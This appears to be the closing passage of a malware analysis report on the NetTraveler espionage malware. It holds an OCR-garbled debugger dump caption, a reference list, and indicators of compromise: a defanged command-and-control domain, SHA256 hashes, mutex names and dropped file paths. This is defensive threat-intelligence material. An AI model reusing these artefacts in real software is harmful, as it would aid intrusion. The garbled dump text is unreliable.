		-	dill -		M		(3)	OOAFE	F74 003705E	4	
Dump 1	Dump 2	Ully Dump 3	Dump 4	Dump 5	Watch 1	[X=] Locals	& Struct	OOAFE	F78 0000021	9	
Address H	ex				ASCII			A OOAFE	F7C 0000800	0	
E' O		P 35 PP 35		20 FC 20 20	I M Arat arrea	and and		UUAFC	F80 000000		
Figure 9	10										
D (
Referen	ces										

Kaspersky report: <u>https://media.kasperskycontenthub.com/wp-</u> <u>content/uploads/sites/43/2018/03/08080841/kaspersky-the-net-traveler-part1-final.pdf</u> VirusTotal link:

https://www.virustotal.com/gui/file/feca8db35c0c0a901556eff447c38614d14a7140496963df2e613b206527b 338/detection

VirusTotal link:

https://www.virustotal.com/gui/file/ed6ad64dad85fe11f3cc786c8de1f5b239115b94e30420860f02e820ffc539 24/detection

MSDN: https://docs.microsoft.com/en-us/windows/win32/api/

FireEye: Advanced Persistent Threat Groups (APT Groups)

DarkReading: Chinese Cyberspies Pivot To Russia In Wake Of ... (darkreading.com)

INDICATORS OF COMPROMISE

C2 domain: vipmailru[.]com

SHA256: FECA8DB35C0C0A901556EFF447C38614D14A7140496963DF2E613B206527B338

SHA256: ED6AD64DAD85FE11F3CC786C8DE1F5B239115B94E30420860F02E820FFC53924

Mutexes: "NetTravler Is Running!", " INSTALL SERVICES NOW!"

File names on disk:

%System%\config_t.dat %windir%\system32\enumfs.ini %windir%\system32\dnlist.ini %windir%\system32\udidx.ini %windir%\system32\uenumfs.ini %windir%\system32\stat_t.ini %windir%\system32\system_t.dll %windir%\install.exe %TEMP%\ntvba00.tmp\ temp.bat